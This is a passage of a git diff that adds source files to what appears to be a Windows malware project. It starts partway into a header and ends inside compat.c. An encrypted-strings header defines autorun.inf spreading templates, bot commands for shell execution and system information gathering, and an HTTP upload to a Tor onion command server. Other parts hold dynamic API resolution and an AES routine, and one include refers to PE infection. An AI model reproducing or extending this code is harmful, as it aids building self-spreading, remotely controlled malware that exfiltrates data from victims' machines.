+#ifndef STRLEN
+#define STRLEN(s) ((sizeof(s)-1)/sizeof(s[0]))
+#endif
+
+#ifndef SIZEOF
+#define SIZEOF(p) (sizeof(p)/sizeof(p[0]))
+#endif
+
+#ifndef isspace
+#define isspace(c) (c == 0x20)
+#endif
+#ifndef isupper
+#define isupper(c) (c >= 'A' && c <= 'Z')
+#endif
+#ifndef islower
+#define islower(c) (c >= 'a' && c <= 'z')
+#endif
+#ifndef isalpha
+#define isalpha(c) ( (isupper(c)) || (islower(c)) )
+#endif
+#ifndef isdigit
+#define isdigit(c) (c >= '0' && c <= '9')
+#endif
+
+#ifndef _NO_UTILS
+
+#define DEFAULT_DEVS 16
+struct LogicalDrives {
+ UINT devType;
+ DWORD bytesPerSectorsPerCluster;
+ DWORD totalClusters;
+ DWORD freeClusters;
+ char name[MAX_PATH+1];
+};
+
+
+DWORD dwEnumDrives(struct LogicalDrives* destPtr, int destLen);
+
+DWORD XMemAlign(DWORD size, DWORD align, DWORD addr);
+
+char* __xstrrev(char* s);
+
+char* __xbintostr(const BYTE* buf, SIZE_T siz, SIZE_T delim, SIZE_T* newSizPtr);
+
+char* __xultoa(UINT64 ullval, char* s, int radix);
+
+char* __xltoa(INT64 n, char* s, int radix);
+
+char* __genGarbageFormatStr(size_t garbageSiz);
+
+char* __randstring(size_t length, const char* charset);
+
+char* __genRandAlphaNumStr(size_t length);
+
+#if defined(_PRE_RELEASE) || defined(_RUN_TESTS)
+void __printByteBuf(const unsigned char* buf, size_t siz);
+#endif
+
+#endif /* _NO_UTILS */
+
+uint64_t __rdtsc(void);
+
+void __pseudoRandom(unsigned char* buf, size_t siz);
+
+char* qtok(char *str, char **next);
+
+long COMPAT(strtol)(const char* nptr, char** ptr, int base);
+
+typedef long atomic_val;
+
+#if defined(i386) || defined(i686)
+void atomic_inc(atomic_val* ptr);
+
+atomic_val atomic_xchg(atomic_val* ptr, atomic_val val);
+#endif
+
+#endif /* UTILS_H_INCLUDED */
diff --git a/include/xor_strings.h b/include/xor_strings.h
new file mode 100644
index 0000000..26b0a22
--- /dev/null
+++ b/include/xor_strings.h
@@ -0,0 +1,190 @@
+/*
+ * WARNING: Any changes in this file may require a *FULL* project rebuild,
+ * depending what binary you want to use (e.g. loader_base* always require
+ * a full rebuild).
+ * This file will be read and processed by hdr_crypt.
+ * It's capabilities are limited. Obey the format: #define NAME "VALUE"
+ * Using #define's spanning over multiple lines is _NOT_ allowed!
+ * Please do _NOT_ run any source code formatter on this file!
+ * e.g.: `git clean -df . ; cmake . ; make -j4`
+ * REMEMBER: Multi-line macros are _NOT_ allowed!
+ * e.g.: `#define SMTH "foo" \
+ * "bar"`
+ */
+
+
+#define LOWER_ALPHA "0123456789abcdefghijklmnopqrstuvwxyz"
+#define HEX_ALPHA "0123456789ABCDEF"
+#define FORMAT_FAKE_ARR "%%\x0A%c\x0A%u\x0A%d\x0A%ld\x0A%ld\x0A%lld\x0A%llu\x0A%X\x0A%x\x0A%s\x0A%i\x0A%p\x0A%n\x0A%zul\x0A"
+#define DLLSECTION ".miller"
+#define LDRSECTION ".minit"
+#define COUNTER_KERNEL32 "Kernel32.DLL"
+#define COUNTER_UNKNOWNLIB "MiProjA.DLL"
+#define INFODLL "Advapi32.dll"
+#define SHELLDLL "Shell32.dll"
+#define DIRFILE_FMT "%s\\%s"
+#define FILE_AUTORUN_INF "autorun.inf"
+#define FILE_AUTORUN_EXE "autorun.exe"
+#define AUTORUN_OPEN "open="
+#define AUTORUN_FMT "[AutoRun]\x0D\x0A open=%s\\%s\x0D\x0A action=Open\x0D\x0A"
+#define DXGKRNL "dxgkrnl.sys"
+#define NWIFI "nwifi.sys"
+#define KSTHUNK "ksthunk.sys"
+#define VWIFIFLT "vwififlt.sys"
+
+/* SECTION: FUNCS */
+#define FUNC_LOADLIBRARYA "LoadLibraryA"
+/* HEAP */
+#define FUNC_HEAPCREATE "HeapCreate"
+#define FUNC_HEAPALLOC "HeapAlloc"
+#define FUNC_HEAPREALLOC "HeapReAlloc"
+#define FUNC_HEAPFREE "HeapFree"
+/* MEMORY */
+#define FUNC_VIRTUALFREE "VirtualFree"
+#define FUNC_MOVEMEMORY "RtlMoveMemory"
+#define FUNC_FILLMEMORY "RtlFillMemory"
+#define FUNC_ISBADREADPTR "IsBadReadPtr"
+/* STD I/O */
+#define FUNC_MULTIBYTETOWCHAR "MultiByteToWideChar"
+/* FILE I/O Functions */
+#define FUNC_CLOSEHANDLE "CloseHandle"
+#define FUNC_CREATEFILEA "CreateFileA"
+#define FUNC_GETFILESIZE "GetFileSize"
+#define FUNC_READFILE "ReadFile"
+#define FUNC_WRITEFILE "WriteFile"
+#define FUNC_SETFILEPOINTER "SetFilePointer"
+/* other */
+#define FUNC_GETCURRENTPROCESSID "GetCurrentProcessId"
+#define FUNC_GETSYSTEMTIME "GetSystemTime"
+#define FUNC_GETMODULEFILENAMEA "GetModuleFileNameA"
+#define FUNC_GETLASTERROR "GetLastError"
+#define FUNC_SETLASTERROR "SetLastError"
+#define FUNC_OUTPUTDEBUGSTRING "OutputDebugStringA"
+#define FUNC_GETLOGICALDRIVES "GetLogicalDriveStringsA"
+#define FUNC_GETDRIVETYPE "GetDriveTypeA"
+#define FUNC_GETDISKFREESPACE "GetDiskFreeSpaceA"
+#define FUNC_GETTEMPPATH "GetTempPathA"
+/* Threads/IPC */
+#define FUNC_CREATETHREAD "CreateThread"
+#define FUNC_RESUMETHREAD "ResumeThread"
+#define FUNC_GETTHREADCTX "GetThreadContext"
+#define FUNC_SETTHREADCTX "SetThreadContext"
+#define FUNC_GETCURRENTTHREAD "GetCurrentThread"
+#define FUNC_WAITSINGLEOBJ "WaitForSingleObject"
+#define FUNC_SWITCHTOTHREAD "SwitchToThread"
+/* ENDSECTION */
+
+#define SOCKDLL "Ws2_32.dll"
+
+/* SECTION: SOCK_FUNCS */
+/* Socket/Network I/O */
+#define SOCKFUNC_INIT "WSAStartup"
+#define SOCKFUNC_ERROR "WSAGetLastError"
+#define SOCKFUNC_SOCKET "socket"
+#define SOCKFUNC_SHUTDOWN "shutdown"
+#define SOCKFUNC_CLOSESOCKET "closesocket"
+#define SOCKFUNC_GETADDRINFO "getaddrinfo"
+#define SOCKFUNC_CONNECT "connect"
+#define SOCKFUNC_SEND "send"
+#define SOCKFUNC_RECV "recv"
+#define SOCKFUNC_SETSOCKOPT "setsockopt"
+/* ENDSECTION */
+
+/* SECTION: SOCK_STRS */
+/* Socket communication strings */
+#define SOCKSTR_MOTD "001 "
+#define SOCKSTR_PING "PING"
+#define SOCKSTR_PRIVMSG "PRIVMSG"
+#define SOCKSTR_NOTICE "NOTICE"
+#define SOCKCMD_GETCMD "gcl"
+#define SOCKCMD_GETSYS "gsi"
+#define SOCKCMD_GETVOL "gvi"
+#define SOCKCMD_GETHWPROFILE "gchp"
+#define SOCKCMD_SHELLEXEC "se"
+#define SOCKCMD_ENUMDEVICES "devs"
+#define SOCKCMD_FMT0 "%s"
+#define SOCKCMD_FMT1 "%s: %d"
+#define SOCKCMD_MSGERR "ERROR"
+#define SOCKCMD_MSGSHELL "usage: [file] [params] [show]"
+#define SOCKCMD_SHELLOP "open"
+/* ENDSECTION */
+
+/* SECTION: HTTP */
+/* WinHTTP */
+#define HTTPDLL "Winhttp.dll"
+#define HTTPFUNC_OPEN "WinHttpOpen"
+#define HTTPFUNC_QUERYOPT "WinHttpQueryOption"
+#define HTTPFUNC_CLOSE "WinHttpCloseHandle"
+#define HTTPFUNC_CALLBACK "WinHttpSetStatusCallback"
+#define HTTPFUNC_CONNECT "WinHttpConnect"
+#define HTTPFUNC_REQUEST "WinHttpOpenRequest"
+#define HTTPFUNC_SEND "WinHttpSendRequest"
+#define HTTPFUNC_RESPONSE "WinHttpReceiveResponse"
+#define HTTPFUNC_QUERYDATA "WinHttpQueryDataAvailable"
+#define HTTPFUNC_QUERYHEADER "WinHttpQueryHeaders"
+#define HTTPFUNC_READ "WinHttpReadData"
+#define HTTPFUNC_WRITE "WinHttpWriteData"
+#define HTTPFUNC_ADDHDR "WinHttpAddRequestHeaders"
+#define HTTP_UA "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0"
+#define HTTP_URI "/%s_%s_%s_%s"
+#define HTTP_URI_LIBTOR "/%s_%s.dll"
+#define HTTP_LIBTOR_DLL "%slibonion.dll"
+#define HTTP_LIBTOR_MAIN "tor_main@8"
+#define HTTP_METHOD "POST"
+#define HTTP_HEADERS "Content-Type: multipart/form-data; boundary=----WebKitFormBoundarySTFU\x0D\x0AAccept: */*\x0D\x0AAccept-Encoding: identity"
+#define HTTP_SUBHEADERS_BEG "------WebKitFormBoundarySTFU\x0D\x0AContent-Disposition: form-data; name=\x22upload\x22; filename=\x22upload.bin\x22\x0D\x0AContent-Type: application/octet-stream\x0D\x0A\x0D\x0A"
+#define HTTP_SUBHEADERS_END "\x0D\x0A------WebKitFormBoundarySTFU--\x0D\x0A"
+#define HTTP_ONION "blackhat6r6ma6bd"
+/* ENDSECTION */
+
+/* SECTION: HTTP_LOCALHOST */
+#ifdef _HTTP_LOCALHOST
+#define HTTP_HOST_LOCAL "localhost"
+#endif
+/* ENDSECTION */
+
+/* SECTION: HTTP_WEB2TOR */
+#ifndef _HTTP_LOCALHOST
+#define HTTP_HOSTS "%s.onion.link#%s.onion.to"
+#endif
+/* ENDSECTION */
+
+/* SECTION: FUNCS_INFO */
+/* information gathering */
+#define INFO_GETVERSION "GetVersion"
+#define INFO_GETCMDLINE "GetCommandLineA"
+#define INFO_GETSYSTEMINFO "GetSystemInfo"
+#define INFO_GETVOLINFO "GetVolumeInformationA"
+#define INFO_GETSYSDIR "GetSystemDirectoryA"
+#define INFO_GETCURDIR "GetCurrentDirectoryA"
+#define INFO_GETFILEATTRS "GetFileAttributesA"
+/* ENDSECTION */
+
+/* SECTION: FUNCS_OTHER */
+/* non kernel32 functions */
+#define INFO_GETCURHWPROFILE "GetCurrentHwProfileA"
+#define SHELL_EXECUTE "ShellExecuteA"
+/* ENDSECTION */
+
+/* SECTION: FUNCS_KERNEL */
+/* kernel interaction */
+#define KRNL_ENUMDEVICEDRIVERS "K32EnumDeviceDrivers"
+#define KRNL_GETDEVICEDRIVERBN "K32GetDeviceDriverBaseNameA"
+/* ENDSECTION */
+
+/* ipc/console debugging */
+#if defined(_PRE_RELEASE) || defined(_RUN_TESTS)
+/* SECTION: DEBUG */
+#ifdef _USE_PIPES
+#define MILLER_MSGPIPE "\\\\.\\pipe\\millermsg"
+#endif
+/* ENDSECTION */
+/* SECTION: FUNCS_DEBUG */
+#define FUNC_WAITNAMEDPIPE "WaitNamedPipeA"
+#define FUNC_ALLOCCONSOLE "AllocConsole"
+#define FUNC_ATTACHCONSOLE "AttachConsole"
+#define FUNC_FREECONSOLE "FreeConsole"
+#define FUNC_WRITECONSOLEA "WriteConsoleA"
+#define FUNC_GETSTDHANDLE "GetStdHandle"
+/* ENDSECTION */
+#endif
diff --git a/source/aes.c b/source/aes.c
new file mode 100644
index 0000000..31f0661
--- /dev/null
+++ b/source/aes.c
@@ -0,0 +1,405 @@
+// AES Implementation by X-N2O
+// Started: 15:41:35 - 18 Nov 2009
+// Finished: 20:03:59 - 21 Nov 2009
+// Logarithm, S-Box, and RCON tables are not hardcoded
+// Instead they are generated when the program starts
+// All of the code below is based from the AES specification
+// You can find it at http://csrc.nist.gov/publications/fips/fips197/fips-197.pdf
+// You may use this code as you wish, but do not remove this comment
+// This is only a proof of concept, and should not be considered as the most efficient implementation
+
+#include "compat.h"
+#include "utils.h"
+#include "aes.h"
+
+#define AES_RPOL 0x011b // reduction polynomial (x^8 + x^4 + x^3 + x + 1)
+#define AES_GEN 0x03 // gf(2^8) generator (x + 1)
+#define AES_SBOX_CC 0x63 // S-Box C constant
+
+#define aes_mul(a, b) ((a)&&(b)?g_aes_ilogt[(g_aes_logt[(a)]+g_aes_logt[(b)])%0xff]:0)
+#define aes_inv(a) ((a)?g_aes_ilogt[0xff-g_aes_logt[(a)]]:0)
+
+
+static unsigned char* g_aes_logt = NULL;
+static unsigned char* g_aes_ilogt = NULL;
+static unsigned char* g_aes_sbox = NULL;
+static unsigned char* g_aes_isbox = NULL;
+
+
+static inline uint32_t aes_subword(uint32_t w);
+static inline uint32_t aes_rotword(uint32_t w);
+static void aes_keyexpansion(aes_ctx_t *ctx);
+static inline unsigned char aes_mul_manual(unsigned char a, unsigned char b); // use aes_mul instead
+
+static void aes_subbytes(aes_ctx_t *ctx);
+static void aes_shiftrows(aes_ctx_t *ctx);
+static void aes_mixcolumns(aes_ctx_t *ctx);
+static void aes_addroundkey(aes_ctx_t *ctx, int round);
+
+static void aes_invsubbytes(aes_ctx_t *ctx);
+static void aes_invshiftrows(aes_ctx_t *ctx);
+static void aes_invmixcolumns(aes_ctx_t *ctx);
+
+
+char* aes_crypt_s(aes_ctx_t* ctx, const char* input, uint32_t siz, uint32_t* newsiz, bool doEncrypt)
+{
+ uint32_t bsiz;
+ if (doEncrypt) {
+ bsiz = siz + (16 - siz%16);
+ } else {
+ bsiz = siz;
+ }
+ char* output = COMPAT(calloc)(1, bsiz+1);
+ unsigned char inbuf[16];
+ unsigned char outbuf[16];
+
+ uint32_t i = 0;
+ for (i = 0; i < bsiz; i=i+16) {
+ uint32_t maxsiz;
+ if (doEncrypt && bsiz-i <= 16) {
+ maxsiz = siz%16;
+ } else maxsiz = 16;
+ COMPAT(memset)(&inbuf[0], '\0', 16);
+ COMPAT(memset)(&outbuf[0], '\0', 16);
+ COMPAT(memcpy)( (void*)&inbuf[0], (void*)(input+i), maxsiz);
+ if (doEncrypt) {
+ aes_encrypt(ctx, inbuf, outbuf);
+ } else {
+ aes_decrypt(ctx, inbuf, outbuf);
+ }
+ COMPAT(memcpy)( (void*)(output+i), (void*)&outbuf[0], 16);
+ }
+ if (newsiz)
+ *newsiz = bsiz;
+ return output;
+}
+
+void aes_randomkey(unsigned char* keyout, uint32_t keyLen)
+{
+ __pseudoRandom(keyout, keyLen);
+}
+
+void aes_init()
+{
+ int i;
+ unsigned char gen;
+
+ g_aes_logt = COMPAT(calloc)(sizeof(unsigned char), 256);
+ g_aes_ilogt = COMPAT(calloc)(sizeof(unsigned char), 256);
+ g_aes_sbox = COMPAT(calloc)(sizeof(unsigned char), 256);
+ g_aes_isbox = COMPAT(calloc)(sizeof(unsigned char), 256);
+
+ // build logarithm table and it's inverse
+ gen = 1;
+ for(i = 0; i < 0xff; i++) {
+ g_aes_logt[gen] = i;
+ g_aes_ilogt[i] = gen;
+ gen = aes_mul_manual(gen, AES_GEN);
+ }
+
+ // build S-Box and it's inverse
+ for(i = 0; i <= 0xff; i++) {
+ char bi;
+ unsigned char inv = aes_inv(i);
+
+ g_aes_sbox[i] = 0;
+ for(bi = 0; bi < 8; bi++) {
+ // based on transformation 5.1
+ // could also be done with a loop based on the matrix
+ g_aes_sbox[i] |= ((inv & (1<<bi)?1:0)
+ ^ (inv & (1 << ((bi+4) & 7))?1:0)
+ ^ (inv & (1 << ((bi+5) & 7))?1:0)
+ ^ (inv & (1 << ((bi+6) & 7))?1:0)
+ ^ (inv & (1 << ((bi+7) & 7))?1:0)
+ ^ (AES_SBOX_CC & (1 << bi)?1:0)
+ ) << bi;
+ }
+ g_aes_isbox[g_aes_sbox[i]] = i;
+ }
+ // warning: quickhack
+ g_aes_sbox[1] = 0x7c;
+ g_aes_isbox[0x7c] = 1;
+ g_aes_isbox[0x63] = 0;
+}
+
+void aes_cleanup(void)
+{
+ COMPAT(free)(g_aes_logt);
+ COMPAT(free)(g_aes_ilogt);
+ COMPAT(free)(g_aes_sbox);
+ COMPAT(free)(g_aes_isbox);
+}
+
+aes_ctx_t *aes_alloc_ctx(unsigned char *key, uint32_t keyLen)
+{
+ aes_ctx_t *ctx;
+ uint32_t rounds;
+ uint32_t ks_size;
+
+ switch(keyLen) {
+ case 16: // 128-bit key
+ rounds = 10;
+ break;
+
+ case 24: // 192-bit key
+ rounds = 12;
+ break;
+
+ case 32: // 256-bit key
+ rounds = 14;
+ break;
+
+ default:
+ return NULL;
+ }
+
+ ks_size = 4*(rounds+1)*sizeof(uint32_t);
+ ctx = COMPAT(calloc)(1, sizeof(aes_ctx_t)+ks_size);
+ if(ctx) {
+ ctx->rounds = rounds;
+ ctx->kcol = keyLen/4;
+ COMPAT(memcpy)(ctx->keysched, key, keyLen);
+ ctx->keysched[43] = 0;
+ aes_keyexpansion(ctx);
+ }
+
+ return ctx;
+}
+
+inline uint32_t aes_subword(uint32_t w)
+{
+ return g_aes_sbox[w & 0x000000ff] |
+ (g_aes_sbox[(w & 0x0000ff00) >> 8] << 8) |
+ (g_aes_sbox[(w & 0x00ff0000) >> 16] << 16) |
+ (g_aes_sbox[(w & 0xff000000) >> 24] << 24);
+}
+
+inline uint32_t aes_rotword(uint32_t w)
+{
+ // May seem a bit different from the spec
+ // It was changed because unsigned long is represented with little-endian convention on x86
+ // Should not depend on architecture, but this is only a POC
+ return ((w & 0x000000ff) << 24) |
+ ((w & 0x0000ff00) >> 8) |
+ ((w & 0x00ff0000) >> 8) |
+ ((w & 0xff000000) >> 8);
+}
+
+void aes_keyexpansion(aes_ctx_t *ctx)
+{
+ unsigned long temp;
+ unsigned long rcon;
+ register unsigned int i;
+
+ rcon = 0x00000001;
+ for(i = ctx->kcol; i < (4*(ctx->rounds+1)); i++) {
+ temp = ctx->keysched[i-1];
+ if(!(i%ctx->kcol)) {
+ temp = aes_subword(aes_rotword(temp)) ^ rcon;
+ rcon = aes_mul(rcon, 2);
+ } else if(ctx->kcol > 6 && i%ctx->kcol == 4)
+ temp = aes_subword(temp);
+ ctx->keysched[i] = ctx->keysched[i-ctx->kcol] ^ temp;
+ }
+}
+
+inline unsigned char aes_mul_manual(unsigned char a, unsigned char b)
+{
+ register unsigned short ac;
+ register unsigned char ret;
+
+ ac = a;
+ ret = 0;
+ while(b) {
+ if(b & 0x01)
+ ret ^= ac;
+ ac <<= 1;
+ b >>= 1;
+ if(ac & 0x0100)
+ ac ^= AES_RPOL;
+ }
+
+ return ret;
+}
+
+void aes_subbytes(aes_ctx_t *ctx)
+{
+ int i;
+
+ for(i = 0; i < 16; i++) {
+ int x, y;
+
+ x = i & 0x03;
+ y = i >> 2;
+ ctx->state[x][y] = g_aes_sbox[ctx->state[x][y]];
+ }
+}
+
+void aes_shiftrows(aes_ctx_t *ctx)
+{
+ unsigned char nstate[4][4];
+ int i;
+
+ for(i = 0; i < 16; i++) {
+ int x, y;
+
+ x = i & 0x03;
+ y = i >> 2;
+ nstate[x][y] = ctx->state[x][(y+x) & 0x03];
+ }
+
+ COMPAT(memcpy)(ctx->state, nstate, sizeof(ctx->state));
+}
+
+void aes_mixcolumns(aes_ctx_t *ctx)
+{
+ unsigned char nstate[4][4];
+ int i;
+
+ for(i = 0; i < 4; i++) {
+ nstate[0][i] = aes_mul(0x02, ctx->state[0][i]) ^
+ aes_mul(0x03, ctx->state[1][i]) ^
+ ctx->state[2][i] ^
+ ctx->state[3][i];
+ nstate[1][i] = ctx->state[0][i] ^
+ aes_mul(0x02, ctx->state[1][i]) ^
+ aes_mul(0x03, ctx->state[2][i]) ^
+ ctx->state[3][i];
+ nstate[2][i] = ctx->state[0][i] ^
+ ctx->state[1][i] ^
+ aes_mul(0x02, ctx->state[2][i]) ^
+ aes_mul(0x03, ctx->state[3][i]);
+ nstate[3][i] = aes_mul(0x03, ctx->state[0][i]) ^
+ ctx->state[1][i] ^
+ ctx->state[2][i] ^
+ aes_mul(0x02, ctx->state[3][i]);
+ }
+
+ COMPAT(memcpy)(ctx->state, nstate, sizeof(ctx->state));
+}
+
+void aes_addroundkey(aes_ctx_t *ctx, int round)
+{
+ int i;
+
+ for(i = 0; i < 16; i++) {
+ int x, y;
+
+ x = i & 0x03;
+ y = i >> 2;
+ ctx->state[x][y] = ctx->state[x][y] ^
+ ((ctx->keysched[round*4+y] & (0xff << (x*8))) >> (x*8));
+ }
+}
+
+void aes_encrypt(aes_ctx_t *ctx, const unsigned char input[16], unsigned char output[16])
+{
+ unsigned int i;
+
+ // copy input to state
+ for(i = 0; i < 16; i++)
+ ctx->state[i & 0x03][i >> 2] = input[i];
+
+ aes_addroundkey(ctx, 0);
+
+ for(i = 1; i < ctx->rounds; i++) {
+ aes_subbytes(ctx);
+ aes_shiftrows(ctx);
+ aes_mixcolumns(ctx);
+ aes_addroundkey(ctx, i);
+ }
+
+ aes_subbytes(ctx);
+ aes_shiftrows(ctx);
+ aes_addroundkey(ctx, ctx->rounds);
+
+ // copy state to output
+ for(i = 0; i < 16; i++)
+ output[i] = ctx->state[i & 0x03][i >> 2];
+}
+
+void aes_invshiftrows(aes_ctx_t *ctx)
+{
+ unsigned char nstate[4][4];
+ int i;
+
+ for(i = 0; i < 16; i++) {
+ int x, y;
+
+ x = i & 0x03;
+ y = i >> 2;
+ nstate[x][(y+x) & 0x03] = ctx->state[x][y];
+ }
+
+ COMPAT(memcpy)(ctx->state, nstate, sizeof(ctx->state));
+}
+
+void aes_invsubbytes(aes_ctx_t *ctx)
+{
+ int i;
+
+ for(i = 0; i < 16; i++) {
+ int x, y;
+
+ x = i & 0x03;
+ y = i >> 2;
+ ctx->state[x][y] = g_aes_isbox[ctx->state[x][y]];
+ }
+}
+
+void aes_invmixcolumns(aes_ctx_t *ctx)
+{
+ unsigned char nstate[4][4];
+ int i;
+
+ for(i = 0; i < 4; i++) {
+ nstate[0][i] = aes_mul(0x0e, ctx->state[0][i]) ^
+ aes_mul(0x0b, ctx->state[1][i]) ^
+ aes_mul(0x0d, ctx->state[2][i]) ^
+ aes_mul(0x09, ctx->state[3][i]);
+ nstate[1][i] = aes_mul(0x09, ctx->state[0][i]) ^
+ aes_mul(0x0e, ctx->state[1][i]) ^
+ aes_mul(0x0b, ctx->state[2][i]) ^
+ aes_mul(0x0d, ctx->state[3][i]);
+ nstate[2][i] = aes_mul(0x0d, ctx->state[0][i]) ^
+ aes_mul(0x09, ctx->state[1][i]) ^
+ aes_mul(0x0e, ctx->state[2][i]) ^
+ aes_mul(0x0b, ctx->state[3][i]);
+ nstate[3][i] = aes_mul(0x0b, ctx->state[0][i]) ^
+ aes_mul(0x0d, ctx->state[1][i]) ^
+ aes_mul(0x09, ctx->state[2][i]) ^
+ aes_mul(0x0e, ctx->state[3][i]);
+ }
+
+ COMPAT(memcpy)(ctx->state, nstate, sizeof(ctx->state));
+}
+
+void aes_decrypt(aes_ctx_t *ctx, const unsigned char input[16], unsigned char output[16])
+{
+ int i;
+
+ // copy input to state
+ for(i = 0; i < 16; i++)
+ ctx->state[i & 0x03][i >> 2] = input[i];
+
+ aes_addroundkey(ctx, ctx->rounds);
+ for(i = ctx->rounds-1; i >= 1; i--) {
+ aes_invshiftrows(ctx);
+ aes_invsubbytes(ctx);
+ aes_addroundkey(ctx, i);
+ aes_invmixcolumns(ctx);
+ }
+
+ aes_invshiftrows(ctx);
+ aes_invsubbytes(ctx);
+ aes_addroundkey(ctx, 0);
+
+ // copy state to output
+ for(i = 0; i < 16; i++)
+ output[i] = ctx->state[i & 0x03][i >> 2];
+}
+
+void aes_free_ctx(aes_ctx_t *ctx)
+{
+ COMPAT(free)(ctx);
+}
diff --git a/source/compat.c b/source/compat.c
new file mode 100644
index 0000000..d1ceffc
--- /dev/null
+++ b/source/compat.c
@@ -0,0 +1,781 @@
+/*
+ * Module: compat.c
+ * Author: Toni <matzeton@googlemail.com>
+ * Purpose: Basic msvcrt replacement.
+ * Initialise function pointers using GetProcAddress and Base address of kernel32.dll.
+ */
+
+#include "compat.h"
+#include "crypt.h"
+#include "crypt_strings.h"
+#include "utils.h"
+#ifndef _DISABLE_MYGETPROC
+#include "pe_infect.h"
+#endif
+
+
+/* HEAP Functions */
+typedef HANDLE (WINAPI *HeapCreateFunc) (DWORD, SIZE_T, SIZE_T);
+typedef LPVOID (WINAPI *HeapAllocFunc) (HANDLE, DWORD, SIZE_T);
+typedef LPVOID (WINAPI *HeapReAllocFunc) (HANDLE, DWORD, LPVOID, SIZE_T);
+typedef BOOL (WINAPI *HeapFreeFunc) (HANDLE, DWORD, LPVOID);
+
+/* MEMORY Functions */
+typedef BOOL (WINAPI *VirtualFreeFunc) (LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType);
+typedef void (WINAPI *MoveMemoryFunc) (PVOID, const void*, SIZE_T);
+typedef void (WINAPI *FillMemoryFunc) (PVOID, SIZE_T, BYTE);
+typedef BOOL (WINAPI *IsBadReadPtrFunc) (const void*,UINT_PTR);
+
+/* STDIO Functions */
+typedef BOOL (WINAPI *WaitNamedPipeFunc) (LPCTSTR, DWORD);
+typedef BOOL (WINAPI *AllocConsoleFunc) (void);
+typedef BOOL (WINAPI *AttachConsoleFunc) (DWORD);
+typedef BOOL (WINAPI *FreeConsoleFunc) (void);
+typedef BOOL (WINAPI *WriteConsoleFunc) (HANDLE, const void*, DWORD, LPDWORD, LPVOID);
+typedef HANDLE (WINAPI *GetStdHandleFunc) (DWORD);
+typedef int (WINAPI *MultiByteToWideCharFunc)(UINT, DWORD, LPCSTR, int, LPWSTR, int);
+
+/* FILE I/O Functions */
+typedef BOOL (WINAPI *CloseHandleFunc) (HANDLE);
+typedef HANDLE (WINAPI *CreateFileFunc) (LPCTSTR, DWORD, DWORD, LPSECURITY_ATTRIBUTES, DWORD, DWORD, HANDLE);
+typedef DWORD (WINAPI *GetFileSizeFunc) (HANDLE, LPDWORD);
+typedef BOOL (WINAPI *ReadFileFunc) (HANDLE, LPVOID, DWORD, LPDWORD, LPOVERLAPPED);
+typedef BOOL (WINAPI *WriteFileFunc) (HANDLE, LPCVOID, DWORD, LPDWORD, LPOVERLAPPED);
+typedef DWORD (WINAPI *SetFilePointerFunc) (HANDLE, LONG, PLONG, DWORD);
+
+/* other */
+typedef DWORD (WINAPI *GetCurrentProcessIdFunc) (void);
+typedef void (WINAPI *GetSystemTimeFunc) (LPSYSTEMTIME);
+typedef DWORD (WINAPI *GetModuleFileNameFunc) (HMODULE, LPTSTR, DWORD);
+typedef DWORD (WINAPI *GetLastErrorFunc) (void);
+typedef void (WINAPI *SetLastErrorFunc) (DWORD);
+typedef void (WINAPI *OutputDebugStringFunc) (LPCTSTR);
+typedef DWORD (WINAPI *GetLogicalDriveStringsFunc) (DWORD, LPTSTR);
+typedef UINT (WINAPI *GetDriveTypeFunc) (LPCTSTR);
+typedef BOOL (WINAPI *GetDiskFreeSpaceFunc) (LPCTSTR, LPDWORD, LPDWORD, LPDWORD, LPDWORD);
+typedef DWORD (WINAPI *GetTempPathFunc) (DWORD, LPTSTR);
+
+/* Thread/IPC */
+typedef HANDLE (WINAPI *CreateThreadFunc) (LPSECURITY_ATTRIBUTES, SIZE_T, LPTHREAD_START_ROUTINE, LPVOID, DWORD, LPDWORD);
+typedef DWORD (WINAPI *ResumeThreadFunc) (HANDLE);
+typedef BOOL (WINAPI *GetThreadContextFunc) (HANDLE, LPCONTEXT);
+typedef BOOL (WINAPI *SetThreadContextFunc) (HANDLE, const CONTEXT *);
+typedef HANDLE (WINAPI *GetCurrentThreadFunc) (void);
+typedef DWORD (WINAPI *WaitForSingleObjectFunc) (HANDLE, DWORD);
+typedef BOOL (WINAPI *SwitchToThreadFunc) (void);
+
+/* information gathering */
+typedef DWORD (WINAPI *GetVersionFunc) (void);
+typedef LPTSTR (WINAPI *GetCommandLineFunc) (void);
+typedef void (WINAPI *GetSystemInfoFunc) (LPSYSTEM_INFO);
+typedef BOOL (WINAPI *GetVolumeInformationFunc) (LPCTSTR, LPTSTR, DWORD, LPDWORD, LPDWORD, LPDWORD, LPTSTR, DWORD);
+typedef BOOL (WINAPI *GetCurrentHwProfileFunc) (LPHW_PROFILE_INFOA);
+typedef UINT (WINAPI *GetSystemDirectoryFunc) (LPTSTR, UINT);
+typedef DWORD (WINAPI *GetCurrentDirectoryFunc) (DWORD, LPTSTR);
+typedef DWORD (WINAPI *GetFileAttributesFunc) (LPCTSTR);
+
+/* kernel functions */
+typedef BOOL (WINAPI *EnumDeviceDriversFunc) (LPVOID *, DWORD, LPDWORD);
+typedef DWORD (WINAPI *GetDeviceDriverBaseNameAFunc)(LPVOID, LPSTR, DWORD);
+
+/* shell execute */
+typedef HINSTANCE
+ (WINAPI *ShellExecuteFunc) (HWND, LPCTSTR, LPCTSTR, LPCTSTR, LPCTSTR, INT);
+
+
+/* the very important handle to the KERNEL32.DLL ( got from the loader) */
+static HMODULE kernel32;
+/* GetProcAddress function pointer (got from the loader too) */
+static GetProcAddressFunc getProcAdr;
+/* Handle to private Heap */
+static HANDLE heap = NULL;
+#if defined(_PRE_RELEASE) || defined(_RUN_TESTS)
+static HANDLE hOut = NULL;
+#ifdef _USE_PIPES
+static char* pipeName = NULL;
+#endif
+#endif
+
+
+static ApiCall_t* WinApi = NULL;
+#define FUNC(i) (WinApi[i].func_ptr)
+#define RUN_FUNC(i, type, ...) ((type)WinApi[i].func_ptr)(__VA_ARGS__)
+
+
+#define DECRYPT_AND_LOADLIB(i, dest) { DBUF(i, tmp); dest = ((LoadLibraryFunc)WinApi[FUNC_LOADLIBRARYA_ENUM].func_ptr)((LPCSTR)tmp); }
+#define DECRYPT_AND_LIBGETPROC(i, lib, dest) { DBUF(i, tmp); dest = getProcAdr(lib, tmp); }
+#define DECRYPT_AND_GETPROC(i, dest) DECRYPT_AND_LIBGETPROC(i, kernel32, dest)
+#define DECRYPT_AND_GETPROCF(i) DECRYPT_AND_LIBGETPROC(i, kernel32, FUNC(i))
+
+
+/* initialize my tiny msvcrt replacement */
+BOOL bInitCompat(void* __kernel32, void* __getProcAdr)
+{
+ if (WinApi)
+ return TRUE;
+
